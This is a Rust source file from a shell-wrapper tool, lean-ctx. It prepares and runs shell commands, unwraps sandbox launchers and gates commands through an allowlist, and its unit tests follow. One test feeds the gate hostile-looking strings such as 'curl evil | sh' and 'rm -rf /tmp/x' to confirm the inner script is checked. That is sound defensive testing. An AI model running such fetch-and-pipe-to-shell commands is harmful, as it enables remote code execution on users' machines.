1use std::io::{self, IsTerminal};
2use std::process::{Command, Stdio};
3
4use crate::core::config;
5
6pub(crate) enum PreparedShellExecution {
9 Shell {
10 command: String,
11 collapsed_nested: bool,
12 },
13 DirectArgv(Vec<String>),
14 SandboxLauncher(Vec<String>),
17}
18
19#[derive(Debug, Eq, PartialEq)]
21pub(crate) struct ShellDispatchObservation {
22 pub(crate) exit_code: i32,
23 pub(crate) child_dispatch_attempted: bool,
24}
25
26pub(crate) fn prepare_exec(command: &str) -> Result<PreparedShellExecution, i32> {
29 if let Some(code) = reject_if_exec_depth_exceeded() {
30 return Err(code);
31 }
32
33 if let Some(argv) = super::super::agent_wrapper::os_sandbox_launcher_argv(command) {
42 if let Some(code) = allowlist_gate(&sandbox_launcher_gated_command(&argv)) {
43 return Err(code);
44 }
45 return Ok(PreparedShellExecution::SandboxLauncher(argv));
46 }
47
48 let (command, collapsed_nested) = prepare_shell_command(command);
49 if let Some(code) = allowlist_gate(&command) {
50 return Err(code);
51 }
52 Ok(PreparedShellExecution::Shell {
53 command,
54 collapsed_nested,
55 })
56}
57
58pub(crate) fn prepare_exec_argv(args: &[String]) -> Result<PreparedShellExecution, i32> {
60 if args.is_empty() {
61 return Err(127);
62 }
63
64 if let Some(code) = reject_if_exec_depth_exceeded() {
65 return Err(code);
66 }
67
68 let joined = super::super::platform::join_command(args);
73
74 if let Some(u) = super::super::agent_wrapper::unwrap_agent_wrapper(&joined) {
79 let (command, collapsed_nested) = prepare_shell_command(&u.rebuild());
80 if let Some(code) = allowlist_gate(&command) {
81 return Err(code);
82 }
83 return Ok(PreparedShellExecution::Shell {
84 command,
85 collapsed_nested,
86 });
87 }
88
89 if let Some(code) = allowlist_gate(&joined) {
93 return Err(code);
94 }
95
96 Ok(PreparedShellExecution::DirectArgv(args.to_vec()))
97}
98
99pub(crate) fn execute_prepared(prepared: PreparedShellExecution) -> ShellDispatchObservation {
104 let exit_code = match prepared {
105 PreparedShellExecution::Shell {
106 command,
107 collapsed_nested,
108 } => execute_shell_post_gate(&command, collapsed_nested),
109 PreparedShellExecution::DirectArgv(args) => execute_argv_post_gate(&args),
110 PreparedShellExecution::SandboxLauncher(argv) => exec_sandbox_launcher(&argv),
111 };
112
113 ShellDispatchObservation {
114 exit_code,
115 child_dispatch_attempted: true,
116 }
117}
118
119pub fn exec_argv(args: &[String]) -> i32 {
125 prepare_exec_argv(args)
126 .map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
127}
128
129fn execute_argv_post_gate(args: &[String]) -> i32 {
130 if super::super::reentry::should_pass_through() {
131 return exec_direct(args);
132 }
133
134 let cfg = config::Config::load();
135 let joined = super::super::platform::join_command(args);
136 let policy = super::super::output_policy::classify(&joined, &cfg.excluded_commands);
137
138 if policy.is_protected() {
139 let code = exec_direct(args);
140 crate::core::tool_lifecycle::record_shell_command(0, 0);
141 return code;
142 }
143
144 let code = exec_direct(args);
145 crate::core::tool_lifecycle::record_shell_command(0, 0);
146 code
147}
148
149fn reject_if_exec_depth_exceeded() -> Option<i32> {
160 if !super::super::reentry::exec_depth_exceeded() {
161 return None;
162 }
163 eprintln!(
164 "lean-ctx: refusing to nest further (depth >= {}) — a shell hook is re-firing inside a \
165 command lean-ctx already spawned. Running the command raw instead of risking a \
166 runaway process loop. If this persists, check for a duplicate/competing shell \
167 integration that also wraps commands through lean-ctx.",
168 super::super::reentry::MAX_EXEC_DEPTH
169 );
170 Some(126)
171}
172
173fn exec_direct(args: &[String]) -> i32 {
174 let mut cmd = Command::new(&args[0]);
175 cmd.args(&args[1..])
176 .stdin(Stdio::inherit())
177 .stdout(Stdio::inherit())
178 .stderr(Stdio::inherit());
179 super::super::reentry::mark_child(&mut cmd);
180 super::super::platform::apply_utf8_locale(&mut cmd);
181 let status = cmd.status();
182
183 match status {
184 Ok(s) => crate::shell::exit_status::exit_code(s),
185 Err(e) => {
186 tracing::error!("lean-ctx: failed to execute: {e}");
187 127
188 }
189 }
190}
191
192fn allowlist_must_enforce() -> bool {
205 let hook_child = crate::core::runtime_flags::hook_child_enabled();
206 let warn_only = std::env::var("LEAN_CTX_ALLOWLIST_WARN_ONLY")
207 .is_ok_and(|v| v == "1" || v.eq_ignore_ascii_case("true"));
208 allowlist_must_enforce_inner(hook_child, warn_only, io::stderr().is_terminal())
209}
210
211fn allowlist_must_enforce_inner(hook_child: bool, warn_only: bool, stderr_is_tty: bool) -> bool {
214 if hook_child {
215 return true;
216 }
217 if warn_only {
218 return false;
219 }
220 !stderr_is_tty
221}
222
223fn stdout_is_regular_file() -> bool {
236 #[cfg(unix)]
237 {
238 use std::os::unix::io::{AsRawFd, FromRawFd};
239 let fd = io::stdout().as_raw_fd();
240 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_fd(fd) });
243 file.metadata().is_ok_and(|m| m.is_file())
244 }
245 #[cfg(windows)]
246 {
247 use std::os::windows::io::{AsRawHandle, FromRawHandle};
248 let handle = io::stdout().as_raw_handle();
249 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_handle(handle) });
252 file.metadata().is_ok_and(|m| m.is_file())
253 }
254 #[cfg(not(any(unix, windows)))]
255 {
256 false
257 }
258}
259
260fn command_has_file_redirect(cmd: &str) -> bool {
264 let bytes = cmd.as_bytes();
265 let len = bytes.len();
266 let mut i = 0;
267 let mut in_single_quote = false;
268 let mut in_double_quote = false;
269
270 while i < len {
271 let c = bytes[i];
272 if c == b'\\' && !in_single_quote {
273 i += 2;
274 continue;
275 }
276 if c == b'\'' && !in_double_quote {
277 in_single_quote = !in_single_quote;
278 } else if c == b'"' && !in_single_quote {
279 in_double_quote = !in_double_quote;
280 } else if c == b'>' && !in_single_quote && !in_double_quote {
281 if i > 0 && bytes[i - 1] == b'2' {
282 i += 1;
283 continue;
284 }
285 let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
286 i + 2
287 } else {
288 i + 1
289 };
290 let target: String = cmd[target_start..]
291 .trim_start()
292 .chars()
293 .take_while(|c| !c.is_whitespace())
294 .collect();
295 if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
296 i += 1;
297 continue;
298 }
299 if let Some(fd) = target.strip_prefix('&')
300 && !fd.is_empty()
301 && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
302 {
303 i += 1;
304 continue;
305 }
306 if !target.is_empty() {
307 return true;
308 }
309 }
310 i += 1;
311 }
312 false
313}
314
315pub(crate) fn allowlist_gate(command: &str) -> Option<i32> {
327 if let Err(msg) = crate::core::shell_allowlist::check_shell_allowlist(command) {
328 if allowlist_must_enforce() {
329 eprintln!("{msg}");
330 eprintln!(
331 "lean-ctx: command blocked by shell allowlist. \
332 Allow it permanently: lean-ctx allow <cmd> — or set \
333 LEAN_CTX_ALLOWLIST_WARN_ONLY=1 to downgrade to a warning."
334 );
335 return Some(126);
336 }
337 let reason = crate::core::shell_allowlist::warn_only_reason(msg.message());
343 if io::stderr().is_terminal() {
344 tracing::debug!("[CLI] Command would be blocked in MCP mode: {reason}");
345 } else {
346 tracing::info!("[CLI] Command would be blocked in MCP mode; it ran ({reason})");
347 }
348 }
349 None
350}
351
352pub fn exec(command: &str) -> i32 {
353 prepare_exec(command).map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
354}
355
356fn prepare_shell_command(command: &str) -> (String, bool) {
357 let unwrapped = super::super::agent_wrapper::unwrap_agent_wrapper(command).map(|u| u.rebuild());
363 let mut collapsed_nested = false;
364 let collapsed;
365 let command = unwrapped.as_deref().unwrap_or(command);
366 let command = if let Some(c) = collapse_nested_lean_ctx_exec(command) {
367 collapsed_nested = true;
368 collapsed = c;
369 collapsed.as_str()
370 } else {
371 command
372 };
373
374 (command.to_string(), collapsed_nested)
375}
376
377fn execute_shell_post_gate(command: &str, collapsed_nested: bool) -> i32 {
378 let (shell, shell_flag) = super::super::platform::shell_and_flag();
379 let command = crate::tools::ctx_shell::normalize_command_for_shell(command);
380 let command = command.as_str();
387
388 if super::super::reentry::is_disabled() {
389 return exec_inherit(command, &shell, &shell_flag);
390 }
391 if should_delegate_wrapped_to_shell_default(collapsed_nested) {
392 return exec_shell_default(command, &shell, &shell_flag);
393 }
394
395 let cfg = config::Config::load();
396 let force_compress = crate::core::runtime_flags::compress_enabled();
397 let raw_mode = crate::core::runtime_flags::raw_enabled();
398
399 if raw_mode {
400 return exec_inherit_tracked(command, &shell, &shell_flag);
401 }
402
403 let policy = super::super::output_policy::classify(command, &cfg.excluded_commands);
404
405 if policy == super::super::output_policy::OutputPolicy::Passthrough {
407 return exec_inherit_tracked(command, &shell, &shell_flag);
408 }
409
410 if policy == super::super::output_policy::OutputPolicy::Verbatim && !force_compress {
414 return exec_inherit_tracked(command, &shell, &shell_flag);
415 }
416
417 if !force_compress {
418 if io::stdout().is_terminal() {
419 return exec_inherit_tracked(command, &shell, &shell_flag);
420 }
421 let code = exec_inherit(command, &shell, &shell_flag);
422 crate::core::tool_lifecycle::record_shell_command(0, 0);
423 return code;
424 }
425
426 if stdout_is_regular_file() {
435 return exec_inherit_tracked(command, &shell, &shell_flag);
436 }
437
438 if command_has_file_redirect(command) {
445 return exec_inherit_tracked(command, &shell, &shell_flag);
446 }
447
448 super::super::pipeline::exec_buffered(command, &shell, &shell_flag, &cfg)
449}
450
451fn collapse_nested_lean_ctx_exec(command: &str) -> Option<String> {
452 let mut current = command.trim().to_string();
453 let mut changed = false;
454
455 while let Some(next) = strip_one_lean_ctx_exec(¤t) {
456 if next == current {
457 break;
458 }
459 current = next;
460 changed = true;
461 }
462
463 changed.then_some(current)
464}
465
466fn should_delegate_wrapped_to_shell_default(collapsed_nested: bool) -> bool {
467 super::super::reentry::is_wrapped() && !collapsed_nested
471}
472
473fn strip_one_lean_ctx_exec(command: &str) -> Option<String> {
474 let words = split_simple_shell_words(command)?;
475 if words.len() < 3 || !is_lean_ctx_bin(&words[0].value) {
476 return None;
477 }
478 if words[1].value != "-c" && words[1].value != "exec" {
479 return None;
480 }
481 if words[2..].iter().any(|w| {
482 matches!(
483 w.value.as_str(),
484 "|" | "||" | "&" | "&&" | ";" | "<" | ">" | ">>"
485 )
486 }) {
487 return None;
488 }
489 if words.len() == 3 {
490 Some(words[2].value.trim().to_string())
491 } else {
492 Some(command[words[2].start..].trim().to_string())
493 }
494}
495
496fn is_lean_ctx_bin(word: &str) -> bool {
497 std::path::Path::new(word)
498 .file_name()
499 .and_then(|name| name.to_str())
500 .is_some_and(|name| name == "lean-ctx" || name == "lean-ctx.exe")
501}
502
503struct SimpleShellWord {
504 value: String,
505 start: usize,
506}
507
508fn split_simple_shell_words(command: &str) -> Option<Vec<SimpleShellWord>> {
509 let mut words = Vec::new();
510 let mut current = String::new();
511 let mut current_start: Option<usize> = None;
512 let mut chars = command.char_indices().peekable();
513 let mut quote: Option<char> = None;
514
515 while let Some((idx, ch)) = chars.next() {
516 match quote {
517 Some('\'') if ch == '\'' => quote = None,
518 Some('"') if ch == '"' => quote = None,
519 None if ch == '\'' || ch == '"' => {
520 current_start.get_or_insert(idx);
521 quote = Some(ch);
522 }
523 Some('"') | None if ch == '\\' => {
524 current_start.get_or_insert(idx);
525 if let Some((_, next)) = chars.next() {
526 current.push(next);
527 }
528 }
529 None if ch.is_whitespace() => {
530 if let Some(start) = current_start.take() {
531 words.push(SimpleShellWord {
532 value: std::mem::take(&mut current),
533 start,
534 });
535 }
536 }
537 Some(_) | None => {
538 current_start.get_or_insert(idx);
539 current.push(ch);
540 }
541 }
542 }
543
544 if quote.is_some() {
545 return None;
546 }
547 if let Some(start) = current_start {
548 words.push(SimpleShellWord {
549 value: current,
550 start,
551 });
552 }
553 (!words.is_empty()).then_some(words)
554}
555
556fn sandbox_launcher_gated_command(argv: &[String]) -> String {
561 let script = argv.last().map_or("", String::as_str);
562 super::super::agent_wrapper::unwrap_agent_wrapper(script)
563 .map_or_else(|| script.to_string(), |u| u.rebuild())
564}
565
566fn exec_sandbox_launcher(argv: &[String]) -> i32 {
574 match sandbox_launcher_command(argv).status() {
575 Ok(s) => crate::shell::exit_status::exit_code(s),
576 Err(e) => {
577 tracing::error!("lean-ctx: failed to execute sandbox launcher: {e}");
578 127
579 }
580 }
581}
582
583fn sandbox_launcher_command(argv: &[String]) -> Command {
584 let mut cmd = Command::new(&argv[0]);
585 cmd.args(&argv[1..])
586 .stdin(Stdio::inherit())
587 .stdout(Stdio::inherit())
588 .stderr(Stdio::inherit());
589 super::super::reentry::clear_shell_default_markers(&mut cmd);
590 super::super::reentry::stamp_exec_depth(&mut cmd);
591 super::super::platform::apply_utf8_locale(&mut cmd);
592 cmd
593}
594
595fn exec_inherit(command: &str, shell: &str, shell_flag: &str) -> i32 {
596 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
599 let mut cmd = Command::new(shell);
600 cmd.arg(shell_flag)
601 .arg(&spawn_command)
602 .stdin(Stdio::inherit())
603 .stdout(Stdio::inherit())
604 .stderr(Stdio::inherit());
605 super::super::reentry::mark_child(&mut cmd);
606 super::super::platform::apply_utf8_locale(&mut cmd);
607 super::super::platform::apply_profile_free_env(&mut cmd);
608 let status = cmd.status();
609
610 match status {
611 Ok(s) => crate::shell::exit_status::exit_code(s),
612 Err(e) => {
613 tracing::error!("lean-ctx: failed to execute: {e}");
614 127
615 }
616 }
617}
618
619fn exec_shell_default(command: &str, shell: &str, shell_flag: &str) -> i32 {
620 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
621 let mut cmd = Command::new(shell);
622 cmd.arg(shell_flag)
623 .arg(&spawn_command)
624 .stdin(Stdio::inherit())
625 .stdout(Stdio::inherit())
626 .stderr(Stdio::inherit());
627 super::super::reentry::clear_shell_default_markers(&mut cmd);
628 super::super::reentry::stamp_exec_depth(&mut cmd);
629 super::super::platform::apply_utf8_locale(&mut cmd);
630 super::super::platform::apply_profile_free_env(&mut cmd);
631 let status = cmd.status();
632
633 match status {
634 Ok(s) => crate::shell::exit_status::exit_code(s),
635 Err(e) => {
636 eprintln!("lean-ctx: failed to execute '{command}': {e}");
637 127
638 }
639 }
640}
641
642fn exec_inherit_tracked(command: &str, shell: &str, shell_flag: &str) -> i32 {
643 let code = exec_inherit(command, shell, shell_flag);
644 crate::core::tool_lifecycle::record_shell_command(0, 0);
645 code
646}
647
648pub(crate) const STDERR_LABEL: &str = "--- stderr ---";
652
653pub(crate) fn combine_streams(stdout: &str, stderr: &str, exit_code: i32) -> String {
657 match (stdout.is_empty(), stderr.is_empty()) {
658 (_, true) => stdout.to_string(),
659 (true, false) => stderr.to_string(),
660 (false, false) if exit_code != 0 => format!("{stdout}\n{STDERR_LABEL}\n{stderr}"),
661 (false, false) => format!("{stdout}\n{stderr}"),
662 }
663}
664
665#[cfg(test)]
668mod nested_lean_ctx_exec_tests;
669
670#[cfg(test)]
671mod exec_tests {
672 #[test]
673 fn combine_streams_labels_stderr_on_failure() {
674 let out = super::combine_streams("build ok", "linker: undefined symbol", 1);
675 assert_eq!(
676 out,
677 format!(
678 "build ok\n{}\nlinker: undefined symbol",
679 super::STDERR_LABEL
680 )
681 );
682 }
683
684 #[test]
685 fn combine_streams_plain_join_on_success() {
686 let out = super::combine_streams("step 1", "warning: noop", 0);
687 assert_eq!(out, "step 1\nwarning: noop");
688 assert!(!out.contains(super::STDERR_LABEL));
689 }
690
691 #[test]
692 fn combine_streams_single_stream_is_unchanged() {
693 assert_eq!(super::combine_streams("only stdout", "", 1), "only stdout");
694 assert_eq!(super::combine_streams("", "only stderr", 1), "only stderr");
695 }
696
697 #[test]
698 fn exec_direct_runs_true() {
699 let code = super::exec_direct(&["true".to_string()]);
700 assert_eq!(code, 0);
701 }
702
703 #[test]
704 fn exec_direct_runs_false() {
705 let code = super::exec_direct(&["false".to_string()]);
706 assert_ne!(code, 0);
707 }
708
709 #[test]
710 fn exec_direct_preserves_args_with_special_chars() {
711 let code = super::exec_direct(&[
712 "echo".to_string(),
713 "hello world".to_string(),
714 "it's here".to_string(),
715 "a \"quoted\" thing".to_string(),
716 ]);
717 assert_eq!(code, 0);
718 }
719
720 #[test]
721 fn exec_direct_nonexistent_returns_127() {
722 let code = super::exec_direct(&["__nonexistent_binary_12345__".to_string()]);
723 assert_eq!(code, 127);
724 }
725
726 #[test]
727 fn exec_argv_empty_returns_127() {
728 let code = super::exec_argv(&[]);
729 assert_eq!(code, 127);
730 }
731
732 #[test]
733 fn prepare_exec_denies_before_dispatch() {
734 let _lock = crate::core::data_dir::test_env_lock();
735 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
736 crate::test_env::remove_var("LEAN_CTX_DISABLED");
737 crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
738 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
739 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
740
741 let prepared = super::prepare_exec("xxd");
742
743 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
744 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
745
746 assert!(matches!(prepared, Err(126)));
747 }
748
749 #[test]
750 fn prepare_exec_argv_empty_returns_127() {
751 assert!(matches!(super::prepare_exec_argv(&[]), Err(127)));
752 }
753
754 #[test]
755 fn execute_prepared_spawn_failure_is_attempted() {
756 let _lock = crate::core::data_dir::test_env_lock();
757 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
758 crate::test_env::remove_var("LEAN_CTX_DISABLED");
759 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
760 crate::test_env::set_var(
761 "LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE",
762 "__lean_ctx_phase5_missing_binary__",
763 );
764
765 let prepared =
766 super::prepare_exec_argv(&["__lean_ctx_phase5_missing_binary__".to_string()])
767 .expect("test binary name is allowlisted");
768 let observation = super::execute_prepared(prepared);
769
770 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
771 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
772
773 assert_eq!(observation.exit_code, 127);
774 assert!(observation.child_dispatch_attempted);
775 }
776
777 #[test]
778 fn execute_prepared_reports_child_exit() {
779 let _lock = crate::core::data_dir::test_env_lock();
780 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
781 crate::test_env::remove_var("LEAN_CTX_DISABLED");
782 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
783 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
784
785 let prepared = super::prepare_exec_argv(&["true".to_string()]).unwrap();
786 let observation = super::execute_prepared(prepared);
787
788 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
789 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
790
791 assert_eq!(observation.exit_code, 0);
792 assert!(observation.child_dispatch_attempted);
793 }
794
795 #[test]
796 fn prepare_exec_argv_preserves_special_argument_bytes() {
797 let _lock = crate::core::data_dir::test_env_lock();
798 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
799 crate::test_env::remove_var("LEAN_CTX_DISABLED");
800 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
801 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "printf");
802 let args = vec![
803 "printf".to_string(),
804 "%s|%s|%s".to_string(),
805 "hello world".to_string(),
806 "it's here".to_string(),
807 "a \"quoted\" thing; $HOME".to_string(),
808 ];
809
810 let prepared = super::prepare_exec_argv(&args).unwrap();
811
812 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
813 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
814
815 match prepared {
816 super::PreparedShellExecution::DirectArgv(actual) => assert_eq!(actual, args),
817 super::PreparedShellExecution::Shell { .. }
818 | super::PreparedShellExecution::SandboxLauncher(_) => {
819 panic!("direct argv must not be reparsed as a shell command")
820 }
821 }
822 }
823
824 #[test]
825 fn compatibility_wrappers_match_for_allowlisted_command() {
826 let _lock = crate::core::data_dir::test_env_lock();
827 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
828 crate::test_env::remove_var("LEAN_CTX_DISABLED");
829 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
830 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
831 crate::test_env::set_var("LEAN_CTX_NO_HOOK", "1");
835
836 let shell_code = super::exec("true");
837 let argv_code = super::exec_argv(&["true".to_string()]);
838
839 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
840 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
841 crate::test_env::remove_var("LEAN_CTX_NO_HOOK");
842
843 assert_eq!(shell_code, argv_code);
844 }
845
846 #[test]
847 fn exec_argv_runs_simple_command() {
848 let _lock = crate::core::data_dir::test_env_lock();
849 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
850 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
851 let code = super::exec_argv(&["true".to_string()]);
852 assert_eq!(code, 0);
853 }
854
855 #[test]
856 fn exec_argv_passes_through_when_disabled() {
857 let _lock = crate::core::data_dir::test_env_lock();
858 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
859 crate::test_env::set_var("LEAN_CTX_DISABLED", "1");
860 let code = super::exec_argv(&["true".to_string()]);
861 crate::test_env::remove_var("LEAN_CTX_DISABLED");
862 assert_eq!(code, 0);
863 }
864
865 #[test]
869 fn exec_argv_enforces_allowlist_for_disallowed_command() {
870 let _lock = crate::core::data_dir::test_env_lock();
871 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
872 crate::test_env::remove_var("LEAN_CTX_DISABLED");
873 crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
874 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
876 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
877
878 let code = super::exec_argv(&["xxd".to_string()]);
881
882 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
883 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
884
885 assert_eq!(
886 code, 126,
887 "non-allowlisted command must be blocked on the -t track path"
888 );
889 }
890
891 #[test]
892 fn exec_argv_allows_allowlisted_command() {
893 let _lock = crate::core::data_dir::test_env_lock();
894 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
895 crate::test_env::remove_var("LEAN_CTX_DISABLED");
896 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
897 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
898
899 let code = super::exec_argv(&["true".to_string()]);
900
901 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
902 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
903
904 assert_eq!(code, 0, "allowlisted command must run on the -t track path");
905 }
906 #[test]
908 fn allowlist_enforces_in_hook_child_mode() {
909 assert!(super::allowlist_must_enforce_inner(true, false, true));
911 assert!(super::allowlist_must_enforce_inner(true, true, true));
912 }
913
914 #[test]
915 fn allowlist_enforces_for_non_interactive_callers() {
916 assert!(super::allowlist_must_enforce_inner(false, false, false));
918 }
919
920 #[test]
921 fn allowlist_warns_for_interactive_humans() {
922 assert!(!super::allowlist_must_enforce_inner(false, false, true));
924 }
925
926 #[test]
927 fn allowlist_warn_only_opt_out_downgrades_non_interactive() {
928 assert!(!super::allowlist_must_enforce_inner(false, true, false));
930 assert!(super::allowlist_must_enforce_inner(true, true, false));
931 }
932
933 #[test]
936 fn redirect_to_file_detected() {
937 assert!(super::command_has_file_redirect("git show HEAD:f > out.md"));
938 assert!(super::command_has_file_redirect("git diff >> changes.log"));
939 assert!(super::command_has_file_redirect(
940 "git status > /tmp/status.txt"
941 ));
942 }
943
944 #[test]
945 fn no_redirect_not_detected() {
946 assert!(!super::command_has_file_redirect("git status"));
947 assert!(!super::command_has_file_redirect("cargo test --lib"));
948 }
949
950 #[test]
951 fn dev_null_not_detected_as_redirect() {
952 assert!(!super::command_has_file_redirect("cargo test > /dev/null"));
953 assert!(!super::command_has_file_redirect("cmd > /dev/stdout"));
954 assert!(!super::command_has_file_redirect("cmd > /dev/stderr"));
955 }
956
957 #[test]
958 fn stderr_redirect_not_detected() {
959 assert!(!super::command_has_file_redirect(
960 "cargo test 2> errors.log"
961 ));
962 assert!(!super::command_has_file_redirect("cargo test 2>/dev/null"));
963 }
964
965 #[test]
966 fn fd_dup_not_detected() {
967 assert!(!super::command_has_file_redirect("cargo test 2>&1"));
968 assert!(!super::command_has_file_redirect("cmd >&2"));
969 }
970
971 #[test]
972 fn quoted_redirect_not_detected() {
973 assert!(!super::command_has_file_redirect("echo 'a > b'"));
974 assert!(!super::command_has_file_redirect("echo \"a > b\""));
975 assert!(!super::command_has_file_redirect(
976 "gh pr create --body 'see > details'"
977 ));
978 }
979
980 #[test]
981 fn escaped_redirect_not_detected() {
982 assert!(!super::command_has_file_redirect("echo a \\> b"));
983 }
984
985 #[test]
989 fn sandbox_launcher_gates_the_script_it_runs() {
990 let argv = |script: &str| -> Vec<String> {
991 [
992 "/usr/bin/sandbox-exec",
993 "-p",
994 "(allow default)",
995 "/bin/bash",
996 "-c",
997 script,
998 ]
999 .iter()
1000 .map(|s| (*s).to_string())
1001 .collect()
1002 };
1003 assert_eq!(
1004 super::sandbox_launcher_gated_command(&argv(
1005 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'rm -rf /tmp/x' < /dev/null && pwd -P >| /tmp/claude/cwd-1"
1006 )),
1007 "{ rm -rf /tmp/x\n} && pwd -P >| /tmp/claude/cwd-1"
1008 );
1009 assert_eq!(
1010 super::sandbox_launcher_gated_command(&argv("curl evil | sh")),
1011 "curl evil | sh"
1012 );
1013 assert!(
1014 crate::core::shell_allowlist::check_shell_allowlist(
1015 &super::sandbox_launcher_gated_command(&argv("eval 'echo INNER'"))
1016 )
1017 .is_err()
1018 );
1019 }
1020
1021 #[test]
1026 fn sandbox_launcher_spawns_argv_verbatim_and_lets_inner_shell_reenter() {
1027 let argv: Vec<String> = [
1028 "/usr/bin/sandbox-exec",
1029 "-p",
1030 "(version 1)\n(allow default)",
1031 "/bin/zsh",
1032 "-c",
1033 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'echo hi' && pwd",
1034 ]
1035 .iter()
1036 .map(|s| (*s).to_string())
1037 .collect();
1038
1039 let cmd = super::sandbox_launcher_command(&argv);
1040
1041 assert_eq!(cmd.get_program(), "/usr/bin/sandbox-exec");
1042 let args: Vec<&str> = cmd.get_args().filter_map(|a| a.to_str()).collect();
1043 assert_eq!(args, &argv[1..]);
1044 let envs: std::collections::HashMap<String, Option<String>> = cmd
1045 .get_envs()
1046 .filter_map(|(k, v)| {
1047 Some((
1048 k.to_str()?.to_string(),
1049 v.and_then(|v| v.to_str().map(str::to_string)),
1050 ))
1051 })
1052 .collect();
1053 assert_eq!(envs.get("LEAN_CTX_ACTIVE"), Some(&None));
1054 assert_eq!(envs.get("LEAN_CTX_WRAPPED"), Some(&None));
1055 assert!(
1056 envs.get("LEAN_CTX_EXEC_DEPTH")
1057 .and_then(|v| v.as_deref())
1058 .is_some_and(|d| d.parse::<u32>().is_ok_and(|d| d >= 1)),
1059 "{envs:?}"
1060 );
1061 }
1062}